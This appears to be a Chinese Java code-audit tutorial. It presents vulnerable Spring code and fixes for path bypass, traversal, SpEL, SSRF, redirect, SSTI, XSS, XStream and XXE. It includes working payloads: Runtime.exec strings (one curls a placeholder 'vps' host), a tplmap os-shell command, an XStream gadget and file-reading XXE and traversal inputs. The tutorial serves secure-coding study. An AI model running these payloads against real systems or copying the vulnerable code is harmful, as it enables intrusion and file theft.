前言
本文继承上一篇开始通过学习Java代码审计漏洞的代码形式,详细讲解:GetRequestURI、PathTraversal、SpEL、SSRF、URLRedirect、SSTI、XSS、XStreamRCE以及XXE等这些实际Java应用挖洞的一些经典代码漏洞以及对应的修复学习,后续也会不断学习更新Java代码漏洞审计续篇...
GetRequestURI
当应用存在静态资源目录,比如/css/
目录,在权限校验时一般会选择放行,即不校验权限。研发同学用getRequestURI()
获取URI后,判断是否包含 /css/
字符串,如果包含则不校验权限。此时如果URI为/css/../hello
,用getRequestURI()
获取的URI是/css/../hello
,包含/css/
字符串,所以不校验权限。但是此时后端的路由为/hello
,导致权限绕过。
漏洞代码
@RestController
@RequestMapping("uri")
public class GetRequestURI {
private final Logger logger = LoggerFactory.getLogger(this.getClass());
@GetMapping(value = "/exclued/vuln")
public String exclued(HttpServletRequest request) {
String[] excluedPath = {"/css/**", "/js/**"};
String uri = request.getRequestURI(); // Security: request.getServletPath()
PathMatcher matcher = new AntPathMatcher();
logger.info("getRequestURI: " + uri);
logger.info("getServletPath: " + request.getServletPath());
for (String path : excluedPath) {
if (matcher.match(path, uri)) {
return "You have bypassed the login page.";
}
}
return "This is a login page >..<";
}
}
如果我们这样请求即可绕过登录
/css/..;/exclued/vuln
安全的方法是使用:getServletPath()方法,该方法会自动对URL进行标准化(normalize),先对URI进行URLDecode,如果存在/../
,将其返回到上一级目录,即/css/..;/exclued/vuln/处理为/exclued/vuln/,并将新的Path设置为servletPath。
PathTraversal
路径遍历攻击是指的是通过使用..
和\
来达到穿梭目录,访问任意文件的目的
漏洞代码
@GetMapping("/path_traversal/vul")
public String getImage(String filepath) throws IOException {
return getImgBase64(filepath);
}
private String getImgBase64(String imgFile) throws IOException {
logger.info("Working directory: " + System.getProperty("user.dir"));
logger.info("File path: " + imgFile);
File f = new File(imgFile);
if (f.exists() && !f.isDirectory()) {
byte[] data = Files.readAllBytes(Paths.get(imgFile));
return new String(Base64.encodeBase64(data));
} else {
return "File doesn't exist or is not a file.";
}
}
由于没有对文件名字进行校验可以目录遍历
?filepath=../../../../../../../../etc/passwd
通过url解码,然后删除恶意符号修复代码
@GetMapping("/path_traversal/sec")
public String getImageSec(String filepath) throws IOException {
if (SecurityUtil.pathFilter(filepath) == null) {
logger.info("Illegal file path: " + filepath);
return "Bad boy. Illegal file path.";
}
return getImgBase64(filepath);
}
public static String pathFilter(String filepath) {
String temp = filepath;
// use while to sovle multi urlencode
while (temp.indexOf('%') != -1) {
try {
temp = URLDecoder.decode(temp, "utf-8");
} catch (UnsupportedEncodingException e) {
logger.info("Unsupported encoding exception: " + filepath);
return null;
} catch (Exception e) {
logger.info(e.toString());
return null;
}
}
if (temp.contains("..") || temp.charAt(0) == '/') {
return null;
}
return filepath;
}
SpEL
Spring Expression Language 是一种表达式语言,支持运行时查询和操作对象图,同时也有方法调用和字符串模板功能
SpEL使用 #{...}
作为定界符,所有在大括号中的字符都将被认为是 SpEL表达式,我们可以在其中使用运算符,变量以及引用bean,属性和方法如:
引用其他对象:
#{car}
引用其他对象的属性:#{car.brand}
调用其它方法 , 还可以链式操作:#{car.toString()}
1.类类型表达式
使用T()
运算符会调用类作用域的静态属性或静态方法,SpEL内置了java.lang
包下的类声明,也就是说java.lang.String
可以通过T(String)
访问,而不需要使用全限定名
比如:
T(Runtime).getRuntime().exec(\"open /Applications/Calculator.app\")
2.类实例化
使用new可以直接在SpEL中创建实例,需要创建实例的类要通过全限定名进行访问。
比如
new java.util.Date()
漏洞代码
@RequestMapping("/spel/vuln1")
public String spel_vuln1(String value) {
ExpressionParser parser = new SpelExpressionParser();
return parser.parseExpression(value).getValue().toString();
}
public String spel_vuln2(String value) {
StandardEvaluationContext context = new StandardEvaluationContext();
SpelExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression(value, new TemplateParserContext());
Object x = expression.getValue(context); // trigger vulnerability point
return x.toString(); // response
}
public static void main(String[] args) {
ExpressionParser parser = new SpelExpressionParser();
String expression = "1+1";
String result = parser.parseExpression(expression).getValue().toString();
System.out.println(result);
}
直接将用户的输入当作表达式内容进行解析,执行下系统命令
T(java.lang.Runtime).getRuntime().exec("curl vps:2333")
模板表达式
表达式模板允许文字文本与一个或多个解析块的混合。 你可以每个解析块分隔前缀和后缀的字符。并且要使用#{}
作为分隔符。
比如
String randomPhrase = parser.parseExpression(
"random number is #{T(java.lang.Math).random()}",
new TemplateParserContext()).getValue(String.class);
//evaluates to "random number is 0.703101106101103120010"
原因是TemplateParserContext
的定义如下所示
public class TemplateParserContext implements ParserContext {
public String getExpressionPrefix() {
return "#{";
}
public String getExpressionSuffix() {
return "}";
}
public boolean isTemplate() {
return true;
}
}
漏洞代码
@RequestMapping("spel/vuln2")
public String spel_vuln2(String value) {
StandardEvaluationContext context = new StandardEvaluationContext();
SpelExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression(value, new TemplateParserContext());
Object x = expression.getValue(context); // trigger vulnerability point
return x.toString(); // response
}
命令执行
#{T(java.lang.Runtime).getRuntime().exec('open -a Calculator')}
由浅入深SpEL表达式注入漏洞 - Ruilin (rui0.cn)
SSRF
Server-side Request Forge服务端请求伪造,可以从外网探测或者攻击内网服务
支持协议
file ftp mailto http https jar netdoc
Java的SSRF利用方式比较局限:
- 利用file协议任意文件读取
- 利用http协议探测端口或攻击内网服务
urlconnection
@RequestMapping(value = "/urlConnection/vuln", method = {RequestMethod.POST, RequestMethod.GET})
public String URLConnectionVuln(String url) {
return HttpUtils.URLConnection(url);
}
public static String URLConnection(String url) {
try {
URL u = new URL(url);
URLConnection urlConnection = u.openConnection();
BufferedReader in = new BufferedReader(new InputStreamReader(urlConnection.getInputStream())); //send request
// BufferedReader in = new BufferedReader(new InputStreamReader(u.openConnection().getInputStream()));
String inputLine;
StringBuilder html = new StringBuilder();
while ((inputLine = in.readLine()) != null) {
html.append(inputLine);
}
in.close();
return html.toString();
} catch (Exception e) {
logger.error(e.getMessage());
return e.getMessage();
}
}
ssrf任意文件读
?url=file:///etc/passwd
代码修复
先检验协议是否安全
@GetMapping("/urlConnection/sec")
public String URLConnectionSec(String url) {
// Decline not http/https protocol
if (!SecurityUtil.isHttp(url)) {
return "[-] SSRF check failed";
}
try {
SecurityUtil.startSSRFHook();
return HttpUtils.URLConnection(url);
} catch (SSRFException | IOException e) {
return e.getMessage();
} finally {
SecurityUtil.stopSSRFHook();
}
}
public static boolean isHttp(String url) {
return url.startsWith("http://") || url.startsWith("https://");
}
同时调用钩子去调用SocketHookFactory
package org.joychou.security.ssrf;
import java.net.HttpURLConnection;
import java.net.InetAddress;
import java.net.URI;
import java.net.URL;
import java.util.ArrayList;
import org.apache.commons.lang.StringUtils;
import org.apache.commons.net.util.SubnetUtils;
import org.joychou.config.WebConfig;
import org.joychou.security.SecurityUtil;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
public class SSRFChecker {
private static Logger logger = LoggerFactory.getLogger(SSRFChecker.class);
public static boolean checkURLFckSSRF(String url) {
if (null == url) {
return false;
}
ArrayList<String> ssrfSafeDomains = WebConfig.getSsrfSafeDomains();
try {
String host = SecurityUtil.gethost(url);
// 必须http/https
if (!SecurityUtil.isHttp(url)) {
return false;
}
if (ssrfSafeDomains.contains(host)) {
return true;
}
for (String ssrfSafeDomain : ssrfSafeDomains) {
if (host.endsWith("." + ssrfSafeDomain)) {
return true;
}
}
} catch (Exception e) {
logger.error(e.toString());
return false;
}
return false;
}
/**
* 解析url的ip,判断ip是否是内网ip,所以TTL设置为0的情况不适用。
* url只允许https或者http,并且设置默认连接超时时间。
* 该修复方案会主动请求重定向后的链接。
*
* @param url check的url
* @param checkTimes 设置重定向检测的最大次数,建议设置为10次
* @return 安全返回true,危险返回false
*/
public static boolean checkSSRF(String url, int checkTimes) {
HttpURLConnection connection;
int connectTime = 5 * 1000; // 设置连接超时时间5s
int i = 1;
String finalUrl = url;
try {
do {
// 判断当前请求的URL是否是内网ip
if (isInternalIpByUrl(finalUrl)) {
logger.error("[-] SSRF check failed. Dangerous url: " + finalUrl);
return false; // 内网ip直接return,非内网ip继续判断是否有重定向
}
connection = (HttpURLConnection) new URL(finalUrl).openConnection();
connection.setInstanceFollowRedirects(false);
connection.setUseCaches(false); // 设置为false,手动处理跳转,可以拿到每个跳转的URL
connection.setConnectTimeout(connectTime);
//connection.setRequestMethod("GET");
connection.connect(); // send dns request
int responseCode = connection.getResponseCode(); // 发起网络请求
if (responseCode >= 300 && responseCode <= 307 && responseCode != 304 && responseCode != 306) {
String redirectedUrl = connection.getHeaderField("Location");
if (null == redirectedUrl)
break;
finalUrl = redirectedUrl;
i += 1; // 重定向次数加1
logger.info("redirected url: " + finalUrl);
if (i == checkTimes) {
return false;
}
} else
break;
} while (connection.getResponseCode() != HttpURLConnection.HTTP_OK);
connection.disconnect();
} catch (Exception e) {
return true; // 如果异常了,认为是安全的,防止是超时导致的异常而验证不成功。
}
return true; // 默认返回true
}
/**
* 判断一个URL的IP是否是内网IP
*
* @return 如果是内网IP,返回true;非内网IP,返回false。
*/
public static boolean isInternalIpByUrl(String url) {
String host = url2host(url);
if (host.equals("")) {
return true; // 异常URL当成内网IP等非法URL处理
}
String ip = host2ip(host);
if (ip.equals("")) {
return true; // 如果域名转换为IP异常,则认为是非法URL
}
return isInternalIp(ip);
}
/**
* 使用SubnetUtils库判断ip是否在内网网段
*
* @param strIP ip字符串
* @return 如果是内网ip,返回true,否则返回false。
*/
static boolean isInternalIp(String strIP) {
if (StringUtils.isEmpty(strIP)) {
logger.error("[-] SSRF check failed. IP is empty. " + strIP);
return true;
}
ArrayList<String> blackSubnets = WebConfig.getSsrfBlockIps();
for (String subnet : blackSubnets) {
SubnetUtils utils = new SubnetUtils(subnet);
if (utils.getInfo().isInRange(strIP)) {
logger.error("[-] SSRF check failed. Internal IP: " + strIP);
return true;
}
}
return false;
}
/**
* host转换为IP
* 会将各种进制的ip转为正常ip
* 167772161转换为10.0.0.1
* 127.0.0.1.xip.io转换为127.0.0.1
*
* @param host 域名host
*/
private static String host2ip(String host) {
try {
InetAddress IpAddress = InetAddress.getByName(host); // send dns request
return IpAddress.getHostAddress();
} catch (Exception e) {
return "";
}
}
/**
* 从URL中获取host,限制为http/https协议。只支持http:// 和 https://,不支持//的http协议。
*
* @param url http的url
*/
private static String url2host(String url) {
try {
// 使用URI,而非URL,防止被绕过。
URI u = new URI(url);
if (SecurityUtil.isHttp(url)) {
return u.getHost();
}
return "";
} catch (Exception e) {
return "";
}
}
}
URLRedirect
url重定向漏洞主要用来钓鱼,重定向跳转代码:
@GetMapping("/redirect")
public String redirect(@RequestParam("url") String url) {
return "redirect:" + url;
}
payload
?url=http://www.baidu.com
301跳转
@RequestMapping("/setHeader")
@ResponseBody
public static void setHeader(HttpServletRequest request, HttpServletResponse response) {
String url = request.getParameter("url");
response.setStatus(HttpServletResponse.SC_MOVED_PERMANENTLY); // 301 redirect
response.setHeader("Location", url);
}
302跳转:
@RequestMapping("/sendRedirect")
@ResponseBody
public static void sendRedirect(HttpServletRequest request, HttpServletResponse response) throws IOException {
String url = request.getParameter("url");
response.sendRedirect(url); // 302 redirect
}
修复代码
只能内部跳转
@RequestMapping("/forward")
@ResponseBody
public static void forward(HttpServletRequest request, HttpServletResponse response) {
String url = request.getParameter("url");
RequestDispatcher rd = request.getRequestDispatcher(url);
try {
rd.forward(request, response);
} catch (Exception e) {
e.printStackTrace();
}
}
通过checkURL去检查输入的参数
@RequestMapping("/sendRedirect/sec")
@ResponseBody
public void sendRedirect_seccode(HttpServletRequest request, HttpServletResponse response)
throws IOException {
String url = request.getParameter("url");
if (SecurityUtil.checkURL(url) == null) {
response.setStatus(HttpServletResponse.SC_FORBIDDEN);
response.getWriter().write("url forbidden");
return;
}
response.sendRedirect(url);
}
}
跟进
/**
* 同时支持一级域名和多级域名,相关配置在resources目录下url/url_safe_domain.xml文件。
* 优先判断黑名单,如果满足黑名单return null。
*
* @param url the url need to check
* @return Safe url returns original url; Illegal url returns null;
*/
public static String checkURL(String url) {
if (null == url){
return null;
}
ArrayList<String> safeDomains = WebConfig.getSafeDomains();
ArrayList<String> blockDomains = WebConfig.getBlockDomains();
try {
String host = gethost(url);
// 必须http/https
if (!isHttp(url)) {
return null;
}
// 如果满足黑名单返回null
if (blockDomains.contains(host)){
return null;
}
for(String blockDomain: blockDomains) {
if(host.endsWith("." + blockDomain)) {
return null;
}
}
// 支持多级域名
if (safeDomains.contains(host)){
return url;
}
// 支持一级域名
for(String safedomain: safeDomains) {
if(host.endsWith("." + safedomain)) {
return url;
}
}
return null;
} catch (NullPointerException e) {
logger.error(e.toString());
return null;
}
}
检测相关url是否在自己配置中,若不在则返回NULL
SSTI
服务端模板注入,SSTI主要为python的框架jinjia2、mako tornado、django,PHP框架smarty twig,java框架 FreeMarker、jade、velocity等使用渲染函数并且代码不规范导致了漏洞,模板可控
漏洞代码
@GetMapping("/velocity")
public void velocity(String template) {
Velocity.init();
VelocityContext context = new VelocityContext();
context.put("author", "Elliot A.");
context.put("address", "217 E Broadway");
context.put("phone", "555-1337");
StringWriter swOut = new StringWriter();
Velocity.evaluate(context, swOut, "test", template);
velocity ssti
#set($e="e");$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("")
或者用tplmap.py工具
python tplmap.py --os-shell -u 'http://localhost:8080/ssti/velocity?template=aa'
XSS
有两种利用场景
第一种代码如下
@RequestMapping("/reflect")
@ResponseBody
public static String reflect(String xss) {
return xss;
}
我们访问就会触发xss
reflect?xss=%3Cscript%3Ealert(1)%3C/script%3E
将XSS语句带入cookie,然后在其他处调出造成XSS
@RequestMapping("/stored/store")
@ResponseBody
public String store(String xss, HttpServletResponse response) {
Cookie cookie = new Cookie("xss", xss);
response.addCookie(cookie);
return "Set param into cookie";
}
@RequestMapping("/stored/show")
@ResponseBody
public String show(@CookieValue("xss") String xss) {
return xss;
}
修复代码
@RequestMapping("/safe")
@ResponseBody
public static String safe(String xss) {
return encode(xss);
}
private static String encode(String origin) {
origin = StringUtils.replace(origin, "&", "&");
origin = StringUtils.replace(origin, "<", "<");
origin = StringUtils.replace(origin, ">", ">");
origin = StringUtils.replace(origin, "\"", """);
origin = StringUtils.replace(origin, "'", "'");
origin = StringUtils.replace(origin, "/", "/");
return origin;
}
XStreamRCE
XStream是一个简单的基于Java库,可以把Java对象序列化到XML
有RCE漏洞受影响版本:
Xstream affected version: 1.4.10 or <= 1.4.6
【漏洞复现】CVE-2020-26217 | XStream远程代码执行漏洞 - 303donatello - 博客园 (cnblogs.com)
还有2021cve一大堆:Xstream 反序列化远程代码执行漏洞深入分析 (seebug.org)
漏洞代码
@PostMapping("/xstream")
public String parseXml(HttpServletRequest request) throws Exception {
String xml = WebUtils.getRequestBody(request);
XStream xstream = new XStream(new DomDriver());
xstream.fromXML(xml);
return "xstream";
}
public static void main(String[] args) {
User user = new User();
user.setId(0);
user.setUsername("admin");
XStream xstream = new XStream(new DomDriver());
String xml = xstream.toXML(user); // Serialize
System.out.println(xml);
user = (User) xstream.fromXML(xml); // Deserialize
System.out.println(user.getId() + ": " + user.getUsername());
}
}
命令执行
<sorted-set>
<string>foo</string>
<dynamic-proxy> <!-- -->
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>touch</string>
<string>/tmp/aaaaa</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
</sorted-set>
XXE
XML外部实体注入,在应用程序解析XML输入时,当允许引用外部实体时,可以构造恶意内容导致读取任意文件或SSRF、端口探测、执行系统命令
漏洞代码
@RequestMapping(value = "/DocumentBuilder/vuln01", method = RequestMethod.POST)
public String DocumentBuilderVuln01(HttpServletRequest request) {
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
StringReader sr = new StringReader(body);
InputSource is = new InputSource(sr);
Document document = db.parse(is); // parse xml
// 遍历xml节点name和value
StringBuilder buf = new StringBuilder();
NodeList rootNodeList = document.getChildNodes();
for (int i = 0; i < rootNodeList.getLength(); i++) {
Node rootNode = rootNodeList.item(i);
NodeList child = rootNode.getChildNodes();
for (int j = 0; j < child.getLength(); j++) {
Node node = child.item(j);
buf.append(String.format("%s: %s\n", node.getNodeName(), node.getTextContent()));
}
}
sr.close();
return buf.toString();
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
}
正常有回显
<?xml version="1.0" encoding="UTF-8"?>
<book id="1">
<name>Good Job</name>
<author>ol4three</author>
<year>2021</year>
<price>100.00</price>
</book>
直接file协议读文件
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE joychou [
<!ENTITY xxe SYSTEM "file:///tmp/111.txt">
]>
<root>&xxe;</root>
-
-
-
-
-
-
-
-
-
-